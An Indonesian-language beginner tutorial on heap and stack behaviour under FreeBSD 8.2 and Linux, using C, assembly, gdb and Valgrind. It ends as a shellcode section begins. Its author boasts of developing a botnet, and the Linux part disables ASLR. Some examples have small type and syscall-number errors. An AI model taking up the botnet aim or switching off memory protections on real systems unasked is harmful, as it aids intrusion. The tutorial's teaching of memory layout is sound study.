=========Bermain main dengan heap dan stack di  FreeBSD 32 
bit===============
Writer: ev1lut10n
Article Level : for beginner
"Curr3ntly d3v3l0p1ng b0tn3t to 1nf3ct w1n,l1nux and bsd for var1ous 
4tt4ck 1nclud1ng r3fl3ct3d 4tt4cks (alr3ady more than 2 years, why ? 1 
p3rs0n 
0nly m4k1ng th1s)"
------------------------------------------
content:
- Foreword
- Bermain main dengan Heap di FreeBSD 8.2 (malloc, sys_brk)
- Valgrind & Alleyoop Memory Checker di linux 32 bit
- Bermain main dengan Stack di FreeBSD 8.2
- Bonus Stage #1: Cara Membuat shellcode di freebsd 8.2
- Closing

-[ Foreword 
]-----------------------------------------------------------------------------------------------------------------------------------------------------------------------
Mohon maaf yang sebesar2nya krn terbatasnya waktu jd di sini tidak 
disajikan artikel yang lengkap dan mendetail dan hanya ditujukan untuk 
pemula yg 
ingin
bermain2 dengan heap dan stack di freebsd dan linux.

-[ Bermain main dengan Heap di FreeBSD 8.2 
]-----------------------------------------------------------------------------------------------------------------------------------------------------------------------

Daerah heap dari suatu memori merupakan suatu daerah yang dinamis. Bagian 
ini bisa dimanage / dipengaruhi dengan menggunakan 
malloc , free, realloc, calloc, jemalloc (BSD), brk,delete. 
Kalo dilihat di atas memory area ada 2 yaitu heap dan satu lagi unused 
(tidak terpakai), yang dimaksud unused adalah daerah .bss . 
Bagian ini merupakan bagian deklarasi variabel yang tidak atau belum 
diisi, bagian ini akan diinialisasi saat run time.

~malloc()~~

Ok untuk bermain main dengan heap kita mulai dengan contoh program dengan 
malloc untuk alokasi memori heap:
------------------------------------------------------------
/**sample  heap (dynamic) memory allocation made by ev1lut10n**/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
int main()
{
	 if (fork() != 0)
          {       
              exit(1);
           }    
	char *bufer = (char *)malloc(sizeof(char));
	memset(bufer, 'A', sizeof(char)-1);
	printf("%p",bufer);
	printf("\n================\n");
	for(;;)
	{
	}
		return(0);
}
-----------------------------------------------------

misal diberi nama malloc.c lalu kompile dan jalankan:
-------------------------
ev1lut10n# gcc -o malloc malloc.c -g
ev1lut10n# ./malloc
0x28201100
================
ev1lut10n# 
-------------------------

dari hasil di atas kita bisa melihat alamat memori heap yang dialokasikan 
dengan malloc dimulai dari alamat 0x28201100 (di tiap mesin dan sistem 
operasi beda beda). 

coba kita tes di mesin satu lagi dengan os freebsd 6.2:
-----------
%uname -a
FreeBSD myhost 6.3-PRERELEASE FreeBSD 6.3-PRERELEASE #1: Tue Nov  6 
16:13:56 EST 2007     root@myhost.org:/usr/src/sys/i386/compile/MNET  i386
%./malloc
%0x804b030
----------------
you'll see that's pretty much different.
ok kembali lagi ke freebsd 8.2, kita tes lagi untuk memahami operasi pada 
daerah heap:
--------------
/**malloc2 by ev1lut10n**/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#define UKURAN1 8
#define UKURAN2 8
#define UKURAN3 8
int main()
   {
           char *bafer = (char *)malloc(UKURAN1);
           memset(bafer, 'A', UKURAN1-1);
	   char *bafer2 = (char *)malloc(UKURAN2);
           memset(bafer2, 'B', UKURAN2-1);
	   char *bafer3 = (char *)malloc(UKURAN3);
           memset(bafer3, 'C', UKURAN3-1);
           printf("\nalamat heap bafer 1 adalah  %p\n", bafer);
	   printf("\nstring dump bafer 1 adalah  %s\n", bafer);
           printf("\nalamat heap bafer 2 adalah  %p\n", bafer2);
	   printf("\nstring dump bafer 2 adalah  %s\n", bafer2);
	   printf("\nalamat heap bafer 3 adalah  %p\n", bafer3);
	   printf("\nstring dump bafer 3 adalah  %s\n", bafer3);
	   return 0;
   }
-----------
ayayayay gw tau kode di atas jelek krn harusnya pake looping ;p

kompile lalu debug dengan gdb:
-----------------------
ev1lut10n# gcc -o malloc2 malloc2.c -g
ev1lut10n# gdb -q malloc2
(gdb) l
1	/**malloc2 by ev1lut10n**/
2	#include <stdio.h>
3	#include <stdlib.h>
4	#include <unistd.h>
5	#include <string.h>
6	#define UKURAN1 8
7	#define UKURAN2 8
8	#define UKURAN3 8
9	int main()
10	   {
(gdb) l
11	           char *bafer = (char *)malloc(UKURAN1);
12	           memset(bafer, 'A', UKURAN1-1);
13		   char *bafer2 = (char *)malloc(UKURAN2);
14	           memset(bafer2, 'B', UKURAN2-1);
15		   char *bafer3 = (char *)malloc(UKURAN3);
16	           memset(bafer3, 'C', UKURAN3-1);
17	           printf("\nalamat heap bafer 1 adalah  %p\n", bafer);
18		   printf("\nstring dump bafer 1 adalah  %s\n", bafer);
19	           printf("\nalamat heap bafer 2 adalah  %p\n", bafer2);
20		   printf("\nstring dump bafer 2 adalah  %s\n", bafer2);
(gdb) l
21		   printf("\nalamat heap bafer 3 adalah  %p\n", bafer3);
22		   printf("\nstring dump bafer 3 adalah  %s\n", bafer3);
23		   return 0;
24	   }
(gdb) 

----------------------

selanjutnya break di line 23 dan tes run:

<img width=600  
src="http://3.bp.blogspot.com/-KZE04w_sO8E/Tep4cvx6G6I/AAAAAAAAAgE/M9AtuI04Qcw/s1600/malloc.jpg" 
width=600>

----------------
(gdb) b 23
Breakpoint 1 at 0x80485b1: file malloc2.c, line 23.
(gdb) run
Starting program: /root/c/malloc2 

alamat heap bafer 1 adalah  0x28201050

string dump bafer 1 adalah  AAAAAAA

alamat heap bafer 2 adalah  0x28201058

string dump bafer 2 adalah  BBBBBBB

alamat heap bafer 3 adalah  0x28201060

string dump bafer 3 adalah  CCCCCCC

Breakpoint 1, main () at malloc2.c:23
23		   return 0;
(gdb) x/3s 0x28201050
0x28201050:	 "AAAAAAA"  (673189968)
0x28201058:	 "BBBBBBB"    (673189976)
0x28201060:	 "CCCCCCC"    (673189984) 
(gdb) 
---------------------

dari dump string kita lihat length cuma 7 karena instruksi : 
memset(bafer2, 'B', UKURAN2-1);  karena : #define UKURAN2 8 jadi 8-1=7 

kita bandingkan sebentar dengan operasi pada stack, misal buat suatu 
program dg nama strncpy.c :
--------------------------
/**sample stack operation local var by ev1lut10n**/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
int main(int argc,char *argv[])
   {
           char *bafer[8];
	   char *bafer2[8];
	   char *bafer3[3];
                strncpy (bafer,argv[1],8);
		strncpy (bafer2,argv[2],8);
	        strncpy (bafer3,argv[3],8);
	   printf("\nalamat stack bafer 1 adalah  %p\n", bafer);
	   printf("\nstring dump bafer 1 adalah  %s\n", bafer);
           printf("\nalamat stack bafer 2 adalah  %p\n", bafer2);
	   printf("\nstring dump bafer 2 adalah  %s\n", bafer2);
	   printf("\nalamat stack bafer 3 adalah  %p\n", bafer3);
	   printf("\nstring dump bafer 3 adalah  %s\n", bafer3);
	   return 0;
   }
------------------------------

kompile dengan opsi -g: dan debug dengan break di line 20
----------
ev1lut10n# gdb -q strncpy
(gdb) l
1	/**sample stack operation local var by ev1lut10n**/
2	#include <stdio.h>
3	#include <stdlib.h>
4	#include <unistd.h>
5	#include <string.h>
6	int main(int argc,char *argv[])
7	   {
8	           char *bafer[8];
9		   char *bafer2[8];
10		   char *bafer3[3];
(gdb) l
11	                strncpy (bafer,argv[1],8);
12			strncpy (bafer2,argv[2],8);
13		        strncpy (bafer3,argv[3],8);
14		   printf("\nalamat stack bafer 1 adalah  %p\n", bafer);
15		   printf("\nstring dump bafer 1 adalah  %s\n", bafer);
16	           printf("\nalamat stack bafer 2 adalah  %p\n", bafer2);
17		   printf("\nstring dump bafer 2 adalah  %s\n", bafer2);
18		   printf("\nalamat stack bafer 3 adalah  %p\n", bafer3);
19		   printf("\nstring dump bafer 3 adalah  %s\n", bafer3);
20		   return 0;
(gdb) b 20
Breakpoint 1 at 0x8048553: file strncpy.c, line 20.
(gdb) run AAAAAAA BBBBBBB CCCCCCC
Starting program: /root/c/strncpy AAAAAAA BBBBBBB CCCCCCC

alamat stack bafer 1 adalah  0xbfbfe990

string dump bafer 1 adalah  AAAAAAA

alamat stack bafer 2 adalah  0xbfbfe970

string dump bafer 2 adalah  BBBBBBB

alamat stack bafer 3 adalah  0xbfbfe964

string dump bafer 3 adalah  CCCCCCC

Breakpoint 1, main (argc=4, argv=0xbfbfea0c) at strncpy.c:20
20		   return 0;
(gdb) 
----------

ok jika kita bandingkan dengan debug program dengan operasi pada heap:

malloc2.c  (we're playing at heap):
-----------
0x28201050:	 "AAAAAAA"  (673.189.968)
0x28201058:	 "BBBBBBB"    (673.189.976)
0x28201060:	 "CCCCCCC"    (673.189.984) 
------------

di sini kita bisa lihat tiap ada alokasi baru dengan malloc() maka alamat 
memori akan bergerak ke atas  ke alamat yg lebih tinggi

strncpy.c (we're playin at stack area)
-------------------
0xbfbfe990:  "AAAAAAA" (3.217.025.424)
0xbfbfe970:  "BBBBBBB"   (3.217.025.392)
0xbfbfe964:  "CCCCCC"     (3.217.025.380)
-----------------

sebaliknya terjadi pada operasi stack, saat ada tumpukan baru alamat 
memori bergerak ke bawah ke alamat yang lebih rendah.

(alamat memori yang lebih rendah)

berikut ini gambaranya:

<img width=600  
">src="http://4.bp.blogspot.com/-SxnbT57_atI/Tep4t6U8OCI/AAAAAAAAAgM/gY0L_oQ8Dfk/s1600/memlay.jpg">


----------penggunaan sys_brk di linux dan freebsd----------
Misal berikut ini contoh kode assembly untuk implementasi sys_brk

mov ebx, 0
mov eax, 0x2d  ;----------> syscall sys_brk 
int 0x80
test eax, eax 
js label_error_handling_here

ebx bisa diisi dengan zero atau non zero, krn kita tidak tau alamat memori 
yang tersedia maka ebx kita isi dengan zero.

setelah itu nilai eax perlu dites: test eax,eax atau cmp eax,0
 jika minus 
berarti terjadi kegagalan. 

berikut ini contoh penggunaan sys_brk:

root@ev1lut10n-Vostro1310:~/asm# cat sys_brk.asm
global _start
section .text
_start:
        mov ebx, 0
        mov eax, 0x2d
        int 0x80               
        cmp eax, 0         
        jl gagal
        jmp sukses	
	


;not efficient way dont do this in real code 
sukses:
        mov	eax, 4
	mov	ebx, 1
	mov	ecx, berhasil
	mov	edx, pberhasil
	int	0x80
	
        mov eax,1
        mov ebx,0
        int 0x80                


gagal:
        mov	eax, 4
	mov	ebx, 1
	mov	ecx, salah
	mov	edx, psalah
	int	0x80
	
        mov  eax,1 
        mov ebx,0
        int 0x80               
	
section .data
         salah             db "sys_brk gagal  !!!",10
         psalah equ    $ -salah	 
         
         berhasil             db "sys_brk berhasil  !!!",10
         pberhasil equ    $ -berhasil	 
          
root@ev1lut10n-Vostro1310:~/asm# nasm -f elf sys_brk.asm
root@ev1lut10n-Vostro1310:~/asm# ld -o sys_brk sys_brk.o
root@ev1lut10n-Vostro1310:~/asm# ./sys_brk
sys_brk berhasil  !!!
root@ev1lut10n-Vostro1310:~/asm# 

untuk mempermudah debugging tambahkan opsi -g



root@ev1lut10n-Vostro1310:~/asm# nasm -f elf sys_brk.asm -g
root@ev1lut10n-Vostro1310:~/asm# ld -o sys_brk sys_brk.o



mari kita examine dengan strace

root@ev1lut10n-Vostro1310:~/asm# strace ./sys_brk
execve("./sys_brk", ["./sys_brk"], [/* 39 vars */]) = 0
brk(0)                                  = 0x81e2000
write(1, "sys_brk berhasil  !!!\n", 22sys_brk berhasil  !!!
) = 22
_exit(0)                                = ?
root@ev1lut10n-Vostro1310:~/asm# 

sedangkan untuk mencoba sys_brk di freebsd mari kita lihat dulu:
-----------------
ev1lut10n# cat /usr/include/sys/syscall.h | grep brk
#define	SYS_sbrk	69
ev1lut10n# 
------------------

jadi berikut ini rutin untuk memanggil sys brk:
-------------------------------------
	mov $0, %ebx 
        mov  $45,%eax  
        int $0x80
        test %eax, %eax 
        js _gagal
----------------------------------
karena 69 desimal= 45 hexa

berikut ini contoh kode assembly untuk sys_brk:
========================
.section .rodata
evilbuf:
        .ascii "sys_brk berhasil !"
       len = . - evilbuf
evilbuf2:
        .ascii "sys_brk gagal !"
        len2 = . - evilbuf2
       

.globl  _start
_start:
        mov $0, %ebx 
        mov  $45,%eax  
        int $0x80
        test %eax, %eax 
        js _gagal

        pushl $len
        pushl $evilbuf
        pushl $1
        movl $4,%eax
        pushl %eax
        int $0x80
	jmp _out

_gagal:
	pushl $len2
        pushl $evilbuf2
        pushl $1
        movl $4,%eax
        pushl %eax
        int $0x80

           
_out:
        movl $1, %eax
        pushl $0
        pushl %eax
        int $0x80
=============================




--[ Penggunaan Valgrind & Alleyoop Memory Checker di linux 32 
bit]---------------------------------------------------------------------------------------------------------------------------------

Alleyoop merupakan gui untuk mengeksekusi valgrind di gnome. valgrind 
biasa digunakan untuk debug memori, mendeteksi memory leak, dll.
Pertama tama kita tes penggunaan malloc dengan source yg sama seperti di 
atas, kali ini dites di linux :

<img width=600  
">src="http://2.bp.blogspot.com/-6_nAGteZi_0/Tep412A6TsI/AAAAAAAAAgU/ibc7t1XB5Zs/s1600/fmtx.jpg">
------------
root@ev1lut10n-Vostro1310:/opt# cat /proc/sys/kernel/randomize_va_space
2
-------------
keliatan alamat memori heap yg dialokasi dirandom, untuk itu kita matikan 
dulu:
---------------
echo 0 > /proc/sys/kernel/randomize_va_space
-------------

setelah dimatikan alamat virtual address memori menjadi tetap :
-------------------------------
root@ev1lut10n-Vostro1310:/home/ev1lut10n/artikel/c# ./malloc
root@ev1lut10n-Vostro1310:/home/ev1lut10n/artikel/c# 0x804b008
================

root@ev1lut10n-Vostro1310:/home/ev1lut10n/artikel/c# ./malloc
root@ev1lut10n-Vostro1310:/home/ev1lut10n/artikel/c# 0x804b008
================
-------------------------------

Untuk menguji dengan  Alleyoop :

<img width=600  
src=http://3.bp.blogspot.com/-mg_bASA1wJ4/Tep5Bc-ZWwI/AAAAAAAAAgc/vnCbQDWYJ1k/s1600/valgrind.jpg>

valgrind bisa juga dites langsung dari cli:
---------------------
root@ev1lut10n-Vostro1310:/home/ev1lut10n/artikel/c# valgrind ./malloc
==13455== Memcheck, a memory error detector
==13455== Copyright (C) 2002-2010, and GNU GPL'd, by Julian Seward et al.
==13455== Using Valgrind-3.6.1 and LibVEX; rerun with -h for copyright 
info
==13455== Command: ./malloc
==13455== 
0x4198028
================
==13455== 
==13455== HEAP SUMMARY:
==13455==     in use at exit: 0 bytes in 0 blocks
==13455==   total heap usage: 0 allocs, 0 frees, 0 bytes allocated
==13455== 
==13455== All heap blocks were freed -- no leaks are possible
==13455== 
==13455== For counts of detected and suppressed errors, rerun with: -v
==13455== ERROR SUMMARY: 0 errors from 0 contexts (suppressed: 11 from 6)
root@ev1lut10n-Vostro1310:/home/ev1lut10n/artikel/c# 
------------------------------------------------



--[ Bermain main dengan Stack di FreeBSD 
8.2]------------------------------------------------------------------------------------------------------------------------------

untuk memahami cara kerja stack mari kita buat sample program assembly 
untuk bermain main dengan variabel lokal :
-----------------------
global _start
section .text
_start:
push   ebp
mov    ebp,esp
push   'AAAA'
push   'BBBB'
push   'CCCC'
push   'DDDD'
push   'EEEE'
push   'FFFF'
push   'GGGG'
push   'HHHH'
push 1
pop eax
int 80h
-------------------------

lakukan kompile dengan opsi -g : 
nasm  -f elf stack.asm
ld -o stack stack.o

examine dengan gdb:
----------------------------------
ev1lut10n# gdb -q stack
(gdb) l
1	global _start
2	section .text
3	_start:
4	push   ebp
5	mov    ebp,esp
6	push   'AAAA'
7	push   'BBBB'
8	push   'CCCC'
9	push   'DDDD'
10	push   'EEEE'
(gdb) l
11	push   'FFFF'
12	push   'GGGG'
13	push   'HHHH'
14	push 1
15	pop eax 
16	int 80h
(gdb) b 6
Breakpoint 2 at 0x8048083: file stack.asm, line 6.
(gdb) run
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /root/c/stack 

Breakpoint 2, 0x08048083 in _start ()
(gdb) p $esp
$4 = (void *) 0xbfbfea30
(gdb) p $ebp
$5 = (void *) 0xbfbfea30
-----------------------

karena perintah:
--------------------------
mov    ebp,esp
--------------------------

---------------------
(gdb) b 7
Breakpoint 1 at 0x8048088: file stack.asm, line 7.
(gdb) run
Starting program: /root/c/stack 

Breakpoint 1, 0x08048088 in _start ()
(gdb) i r
eax            0x0	0
ecx            0x0	0
edx            0x0	0
ebx            0x0	0
esp            0xbfbfea2c	0xbfbfea2c
ebp            0xbfbfea30	0xbfbfea30
esi            0x0	0
edi            0x0	0
eip            0x8048088	0x8048088
eflags         0x202	514
cs             0x33	51
ss             0x3b	59
ds             0x3b	59
es             0x3b	59
fs             0x3b	59
gs             0x3b	59
(gdb) 
---------------------


kita bisa lihat ada perubahan :

-----------------------------
esp             0xbfbfea2c	(3217025580)
ebp            0xbfbfea30	(3217025584)
---------------------------

di sini kita bisa lihat dari top of stack telah dipush word pertama 'AAAA' 
:
---------------------------
(gdb) x/s 0xbfbfea2c
0xbfbfea2c:	 "AAAA"
(gdb) 
--------------------------

push 'BBBB':
esp            0xbfbfea28	(3217025576)
ebp            0xbfbfea30	(3217025584)

(gdb) x/s  0xbfbfea28
0xbfbfea28:	 "BBBBAAAA"
(gdb) 

---------------
s/d HHHH:
esp            0xbfbfea10	(3217025552)
ebp            0xbfbfea30	(3217025584)

(gdb) x/s 0xbfbfea10
0xbfbfea10:	 "HHHHGGGGFFFFEEEEDDDDCCCCBBBBAAAA"
(gdb) 
------------------

Dari gambaran di atas kita sudah mengetahui cara kerja stack dengan 
operasi push, saat terjadi push nilai esp setiap kali kita melakukan push
selalu bergeser ke alamat memori yang lebih kecil,
Selisih antara ebp dan esp  ---- 0xbfbfea30-0xbfbfea10 = 20h = 32 desimal 
= jumlah karakter yang telah dipush.

selanjutnya kita akan melakukan tes pop :

misal kita edit program tadi kita tambahkan pop:
pop.asm
------------------------
global _start
section .text
_start:
push   ebp
mov    ebp,esp
push   'AAAA'
push   'BBBB'
push   'CCCC'
push   'DDDD'
push   'EEEE'
push   'FFFF'
push   'GGGG'
push   'HHHH'
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
push 1
pop eax
int 80h
-------------------------

dengan : pop eax berarti kita memindahkan top stack ke register eax.

simpan dengan nama misal : pop.asm lalu kompile dan debug:
------------
ev1lut10n# nasm -f elf pop.asm -g
ev1lut10n# ld -o pop pop.o
ev1lut10n# gdb -q pop
(gdb) l
1	global _start
2	section .text
3	_start:
4	push   ebp
5	mov    ebp,esp
6	push   'AAAA'
7	push   'BBBB'
8	push   'CCCC'
9	push   'DDDD'
10	push   'EEEE'
(gdb) l
11	push   'FFFF'
12	push   'GGGG'
13	push   'HHHH'
14	pop eax
15	pop eax
16	pop eax
17	pop eax
18	pop eax
19	pop eax
20	pop eax
(gdb) l
21	pop eax
22	push 1
23	pop eax
24	int 80h
(gdb) b 15
Breakpoint 1 at 0x80480ac: file pop.asm, line 15.
(gdb) run
Starting program: /root/c/pop 

Breakpoint 1, 0x080480ac in _start ()
(gdb) i r
eax            0x48484848	1212696648
ecx            0x0	0
edx            0x0	0
ebx            0x0	0
esp            0xbfbfea28	0xbfbfea28
ebp            0xbfbfea44	0xbfbfea44
esi            0x0	0
edi            0x0	0
eip            0x80480ac	0x80480ac
eflags         0x202	514
cs             0x33	51
ss             0x3b	59
ds             0x3b	59
es             0x3b	59
fs             0x3b	59
gs             0x3b	59
(gdb) x/s 0xbfbfea28
0xbfbfea28:	 "GGGGFFFFEEEEDDDDCCCCBBBBAAAA"
(gdb) 
----------

kita di sini bisa lihat setelah dilakukan pop jika didump data berupa 
string mulai dari 0xbfbfea28 maka sisanya adl: 
GGGGFFFFEEEEDDDDCCCCBBBBAAAA 
(Last in first Out)


-------------
ev1lut10n# gdb -q stack
(gdb) l
warning: Source file is more recent than executable.

1	global _start
2	section .text
3	_start:
4	push   ebp
5	mov    ebp,esp
6	push   'AAAA'
7	push   'BBBB'
8	push   'CCCC'
9	push   'DDDD'
10	push   'EEEE'
(gdb) l
11	push   'FFFF'
12	push   'GGGG'
13	push   'HHHH'
14	pop eax
15	pop eax
16	pop eax
17	pop eax
18	pop eax
19	pop eax
20	pop eax
(gdb) b 12
Breakpoint 1 at 0x80480a1: file stack.asm, line 12.
(gdb) run
Starting program: /root/c/stack 

Breakpoint 1, 0x080480a1 in _start ()
(gdb) i r
eax            0x0	0
ecx            0x0	0
edx            0x0	0
ebx            0x0	0
esp            0xbfbfea1c	0xbfbfea1c
ebp            0xbfbfea34	0xbfbfea34
esi            0x0	0
edi            0x0	0
eip            0x80480a1	0x80480a1
eflags         0x202	514
cs             0x33	51
ss             0x3b	59
ds             0x3b	59
es             0x3b	59
fs             0x3b	59
gs             0x3b	59
(gdb) x/s $ebp-4
0xbfbfea30:	 "AAAA"
(gdb) x/s $ebp-8
0xbfbfea2c:	 "BBBBAAAA"
(gdb) x/s $ebp-12
0xbfbfea28:	 "CCCCBBBBAAAA"
(gdb) x/s $ebp-14
0xbfbfea26:	 "DDCCCCBBBBAAAA"
(gdb) info frame
Stack level 0, frame at 0xbfbfea3c:
 eip = 0x80480a1 in _start; saved eip 0x1
 called by frame at 0x0
 Arglist at 0xbfbfea34, args: 
 Locals at 0xbfbfea34, Previous frame's sp is 0xbfbfea3c
 Saved registers:
  ebp at 0xbfbfea34, eip at 0xbfbfea38

----------------------------
di sini jika kita dump alamat memori dari $ebp-4 maka kita dapatkan 
tumpukan paling bawah dengan hasil dump :  "AAAA"
dan seterusnya...

Pada contoh di atas kita menggunakan variabel lokal. Selanjutnya kita akan 
pakai bahasa C untuk menguji coba parameter 

ev1lut10n.c :
--------------------------------
#include <stdio.h>
int main(int argc,char **argv[])
{
printf("%s %s\n",argv[1],argv[2]);
printf("%08x %08x\n",argv[1],argv[2]);
return 0;
}
-------------------------------

kompile dan tes:
--------------
ev1lut10n# gcc -o ev1lut10n ev1lut10n.c -g
ev1lut10n# ./ev1lut10n a b
a b
bfbfebbb bfbfebbd
ev1lut10n# 
----------------

ok mari kita debug:

----------------------
ev1lut10n# gdb -q ev1lut10n
(gdb) l
1	#include <stdio.h>
2	int main(int argc,char **argv[])
3	{
4	printf("%s %s\n",argv[1],argv[2]);
5	printf("%08x %08x\n",argv[1],argv[2]);
6	return 0;
7	}
8	
(gdb) b 6
Breakpoint 1 at 0x804849c: file ev1lut10n.c, line 6.
(gdb) run AAAA BBBB
Starting program: /root/c/ev1lut10n AAAA BBBB
AAAA BBBB
bfbfeba1 bfbfeba6

Breakpoint 1, main (argc=3, argv=0xbfbfea18) at ev1lut10n.c:6
6	return 0;
(gdb) 
-----------------------

string AAAA (parameter ke 1 ) bisa kita dump mulai alamat memori 
0xbfbfeba1 :
-----------
(gdb) x/s 0xbfbfeba1
0xbfbfeba1:	 "AAAA"
(gdb) 
-------------

string BBBB (parameter ke 2 ) bisa kita dump mulai alamat memori 
0xbfbfeba6
---------------
(gdb) x/s 0xbfbfeba6
0xbfbfeba6:	 "BBBB"
(gdb) info frame
Stack level 0, frame at 0xbfbfe9d0:
 eip = 0x804849c in main (ev1lut10n.c:6); saved eip 0x80483c7
 source language c.
 Arglist at 0xbfbfe9ac, args: argc=3, argv=0xbfbfea18
 Locals at 0xbfbfe9ac, Previous frame's sp at 0xbfbfe9c0
 Saved registers:
  ebx at 0xbfbfe9c4, ebp at 0xbfbfe9c8, eip at 0xbfbfe9cc
(gdb) x/30s 0xBFBFEB8D 
0xbfbfeb8d:	 ""
0xbfbfeb8e:	 ""
0xbfbfeb8f:	 ""
0xbfbfeb90:	 "/root/c/ev1lut10n"
0xbfbfeba1:	 "AAAA"
0xbfbfeba6:	 "BBBB"
0xbfbfebab:	 "COLUMNS=80"
0xbfbfebb6:	 "LINES=24"
0xbfbfebbf:	 "ORBIT_SOCKETDIR=/var/tmp/orbit-root"
0xbfbfebe3:	 "WINDOWPATH=9"
0xbfbfebf0:	 "DISPLAY=:0.0"
0xbfbfebfd:	 "GNOME_KEYRING_PID=1974"
0xbfbfec14:	 "GDM_KEYBOARD_LAYOUT=us"
0xbfbfec2b:	 "LOGNAME=root"
0xbfbfec38:	 "PWD=/root/c"
0xbfbfec44:	 "HOME=/root"
---------------------


Gambaran Memori Saat printf  dipanggil dari main() :

------------------------------------------------
0xbfbfeba6 | parameter ke 2 (ebp+1DE)|"BBBB" (3217025958) 
0xbfbfeba1 | parameter ke 1 (ebp+1D5) | "AAAA" (3217025953) 
0xbfbfeb90 | parameter ke 0 (ebp+1c8)  | /root/c/ev1lut10n  (3217025936)
0xbfbfe9cc |  eip (ebp+4)  |  (3217025484)	
0xbfbfe9c8 |  ebp | (3217025480)
0xbfbfe9b0 |  esp | (3217025456)
--------------------------------------------------        

****contoh debugging program dengan operasi stack
---------------------
/**operasi stack di c by mr dom dom**/
#include <stdio.h>
void operasi_stak(char a[],char b[],char c[],char d[])
 {
	  
 }
int main(int argc, char *argv[])
 {
	 operasi_stak("AAAA","BBBB","CCCC","DDDD");
	 return 0;
 }


-----------------------
misal kita beri nama stack.c lalu kompile: gcc -o stack stack.c -g

lalu examine dengan gdb:

---------------
ev1lut10n# gdb -q stack
(gdb) l
1	/**operasi stack di c by mr dom dom**/
2	#include <stdio.h>
3	void operasi_stak(char a[],char b[],char c[],char d[])
4	 {
5		  
6	 }
7	int main(int argc, char *argv[])
8	 {
9		 operasi_stak("AAAA","BBBB","CCCC","DDDD");
10		 return 0;
(gdb) 

----------------------


Lakukan break di line 9  saat terjadinya operasi stack:
----------------
(gdb) b 9
Breakpoint 2 at 0x8048431: file stack.c, line 9.
--------------
tes run :
------------------
(gdb) run
Starting program: /root/artikel/c/stack 

Breakpoint 1, main () at stack.c:9
warning: Source file is more recent than executable.

9		 operasi_stak("AAAA","BBBB","CCCC","DDDD");
(gdb) 


----------------

lakukan dissasemble terhadap fungsi main (dump 16 instruksi assembly mulai 
dari main):
----------------------------------
(gdb) x/16i main
0x8048420 <main>:	lea    0x4(%esp),%ecx
0x8048424 <main+4>:	and    $0xfffffff0,%esp
0x8048427 <main+7>:	pushl  0xfffffffc(%ecx)
0x804842a <main+10>:	push   %ebp
0x804842b <main+11>:	mov    %esp,%ebp
0x804842d <main+13>:	push   %ecx
0x804842e <main+14>:	sub    $0x10,%esp
0x8048431 <main+17>:	movl   $0x8048501,0xc(%esp)
0x8048439 <main+25>:	movl   $0x8048506,0x8(%esp)
0x8048441 <main+33>:	movl   $0x804850b,0x4(%esp)
0x8048449 <main+41>:	movl   $0x8048510,(%esp)
0x8048450 <main+48>:	call   0x8048410 <operasi_stak>
0x8048455 <main+53>:	mov    $0x0,%eax
0x804845a <main+58>:	add    $0x10,%esp
0x804845d <main+61>:	pop    %ecx
0x804845e <main+62>:	pop    %ebp
(gdb) step 
operasi_stak (a=0x8048510 "AAAA", b=0x804850b "BBBB", c=0x8048506 "CCCC", 
    d=0x8048501 "DDDD") at stack.c:6
6	 }
(gdb) info frame
Stack level 0, frame at 0xbfbfe994:
 eip = 0x8048413 in operasi_stak (stack.c:6); saved eip 0x8048455
 called by frame at 0xbfbfe9b0
 source language c.
 Arglist at 0xbfbfe98c, args: a=0x8048510 "AAAA", b=0x804850b "BBBB", 
    c=0x8048506 "CCCC", d=0x8048501 "DDDD"
 Locals at 0xbfbfe98c, Previous frame's sp is 0xbfbfe994
 Saved registers:
  ebp at 0xbfbfe98c, eip at 0xbfbfe990
(gdb) 
-----------------------

(alamat memori: 0x8048420  s/d 0x804845e  merupakan bagian segment .text)

* penjelasan instruksi assembly yang didump:
ok jika kita lihat pertama 2 : lea    0x4(%esp),%ecx , di sini untuk 
menyimpan alamat dari argumen ke 0 ke register cx (ebp-4).
selanjutnya diikuti oleh rutin: and    $0xfffffff0,%esp,  perhatian 
$0xfffffff0 di sini maksudnya bukan alamat memori, jika kita konvert ke 
biner:
0xfffffff0 = 11111111111111111111111111110000
selanjutnya instruksi : pushl  0xfffffffc(%ecx) atau bisa juga ditulis: 
mov dword ptr[ebp-4],1

selanjutnya akan dipersiapkan stack frame pointer baru :
push   %ebp
mov    %esp,%ebp

variabel diinput ke stack  mulai dari yang paling kanan dan selanjutnya 
s/d ke kiri: 
string dump DDDD pada alamat 0x8048501 setelah itu yang di lanjutkan CCCC 
dst
------------------------
(gdb) x/4s 0x8048501
0x8048501 <_fini+101>:	 "DDDD"
0x8048506 <_fini+106>:	 "CCCC"
0x804850b <_fini+111>:	 "BBBB"
0x8048510 <_fini+116>:	 "AAAA"
(gdb) 
--------------------
berada pada region elf <fini>. Pada saat fungsi dipanggil maka alamat eip 
untuk jmp kembali setelah pemanggilan fungsi akan disimpan di frame 
pointer
---------------------------------------

jika digambarkan lebih lengkap tentang variabel lokal (buffer) dan 
parameter serta stack frame pointer kurang lebih seperti ini:

<img width=600  
">src="http://3.bp.blogspot.com/-4JBSqswd-wA/Tep5HZoBd7I/AAAAAAAAAgk/48PN7k6azpY/s1600/fmt2.jpg">

Ret / EIP berisi alamat memori untuk return address ke bagian eksekusi 
kode selanjutnya. ebp disebut juga frame pointer. 

eip  0xbfbfea38  (3217025592)
ebp 0xbfbfea34  (3217025588)

Untuk lebih detailnya gambaranya adl sbb:

<img width=600  
">src="http://3.bp.blogspot.com/-TH8hsXRwWgU/Tep5N_UbElI/AAAAAAAAAgs/5JzDBX48VSE/s1600/fmt3.jpg">

-----------------
-[Membuat  shellcode di Freebsd 8.2 
]-----------------------------------------------------------------------------------------------------------------------------

"mengakses register lebih cepat dari mengakses memori karena register ada 
di cpu dan memori baru terhubung ke cpu melalui bus"

kali ini kita akan membuat shellcode untuk Freebsd 8.2 , masih pake 32 bit 
------------------------
ev1lut10n# uname -a
FreeBSD ev1lut10n.org 8.2-RELEASE FreeBSD 8.2-RELEASE #0: Fri Feb 18 
02:24:46 UTC 2011     
root@almeida.cse.buffalo.edu:/usr/obj/usr/src/sys/GENERIC  i386
ev1lut10n# 
-----------------------
untuk freebsd 8.2 daftar syscall bisa dilihat di 
/usr/include/sys/syscall.h

-------------------
ev1lut10n# cat /usr/include/sys/syscall.h | grep setuid
